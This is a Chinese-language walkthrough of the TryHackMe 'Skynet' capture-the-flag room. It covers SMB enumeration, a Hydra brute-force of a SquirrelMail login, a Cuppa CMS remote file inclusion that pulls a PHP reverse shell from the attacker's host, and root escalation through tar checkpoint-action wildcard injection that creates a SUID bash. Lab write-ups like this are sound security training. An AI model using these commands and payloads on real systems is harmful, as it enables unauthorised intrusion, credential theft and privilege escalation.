TryHackMe | Skynet
信息收集
nmap枚举,139/445端口开放,可知目标机开启了SMB服务
dirsearch扫描
Task 1 Deploy and compromise the vulnerable machine!
枚举SMB共享
smbclient -L \\ip 或者输入 enum4linux -S $ip
密码那里直接按回车就行
获取到一些可能能访问的SMB服务账号:anonymous、milesdyson
smbclient //10.10.90.106/anonymous
连接后获取这些共享文件
>cat attention.txt A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this. -Miles Dyson
意思就是要员工更改密码,然后我们看到这个发送信息的人的名字,是不是跟我们另外一个共享milesdyson一样
那也就是说,管理员账户为milesdyson
log23.txt都是空的,log1.txt可能是一个密码记录
那么该怎么拿到管理员密码呢,所以这时候我们得换个地方找思路
我们还有一个之前的dirsearch扫描,有个二级目录/squirrelmail很奇特,访问一下
是一个邮箱后台登入网页
使用Hydra 爆破上图中的邮件服务器登录页面
随便试试登入一下
然后可以看到请求是
login_username=admin&secretkey=admin&js_autodetect_results=1&just_logged_in=1
那么我们就可以构造payload去爆破
hydra -l milesdyson -P log1.txt 10.10.90.106 http-form-post "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect."
Argument | Description |
---|---|
-l |
指定破解的用户,对特定用户破解 |
-L |
指定用户名字典 |
-l |
Displays only listening sockets 仅显示侦听套接字 |
-P |
指定密码字典 |
然后跑出来了结果
爆破出的账号密码登入
有个smb password邮件,打开就可以看到跟新后的密码
接着就可以去登入smb
smbclient -U milesdyson //10.10.90.106/milesdyson #密码:)s{A&2Z=F^n_E.B`
有个important.txt,抓来看看
得到一个隐藏的二级目录
打开后没啥信息,对这个二级目录再扫描一次
gobuster dir -u http://10.10.90.106/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error dirsearch -u http://10.10.90.106/45kra24zxs28v3yd/
又有后台了
http://10.10.90.106/45kra24zxs28v3yd/administrator/
打开是一个cuppa CMS
然后再exploit上搜索cuppa相关漏洞,找到了一个文件包含漏洞
漏洞点如下
所以payload构造如下,远程文件包含 http://10.10.143.7/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://ip/php-reverse-shell.php //http://10.10.143.7/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.17.58.33/php-reverse-shell.php
记得修改一下文件里面的ip
然后python运行http服务,本机监听端口
执行完payload后
提权
这个是看佬的博客学到的一个转shell方式
which python #验证目标机有无Python环境 python -c "import pty ; pty.spawn('/bin/bash')" #利用Python环境将当前shell切换为一个更稳定的shell
我们查看一下backup文件夹内文件内容
backup.sh内容和作用是--切换目录至/var/www/html 并将该目录下的所有内容归档为backup.tgz压缩文件,该tgz文件保存在backups目录下; 通过查看/etc/crontab即定时任务可知,backup.sh文件是一个定时任务,该文件每分钟都会以root身份执行。
那么我们是不是可以在文件名字上动一下手脚,让压缩执行时候执行我们的恶意代码
我们发现通过tar
命令可以利用一个名为checkpoint
的参数,checkpoint
还可以与 checkpoint-action
标志串联使用,checkpoint-action
标志允许在到达检查点(checkpoint)时以二进制或脚本的形式执行某些操作。
backup.sh脚本中使用的通配符*
将对 /var/www/html 目录中的所有文件和文件夹执行归档命令,因此我们可以通过在/var/www/html下添加 –checkpoint=1
文件(启用检查点功能)和 –checkpoint-action=exec=xxx
文件
那么当 tar
处理到以上文件时,相关的文件名将会被有效地视为tar
命令的参数--从而执行某些操作。
首先我们先创建一个需要被执行的文件
echo "cp /bin/bash /tmp/nroot && chmod +s /tmp/nroot" > newroot.sh
然后在/var/www/html目录下执行命令创建以下两个文件,这两个文件的实际作用是以文件名作为 tar 命令行中的参数:
touch "/var/www/html/--checkpoint=1" touch "/var/www/html/--checkpoint-action=exec=sh newroot.sh"
大约一分钟后,cron 计划作业(即backups目录下的backup.sh脚本)将会以root权限自动运行,从而能够成功创建一个SUID文件(/tmp/nroot)我们可以使用 -p
标志执行该SUID文件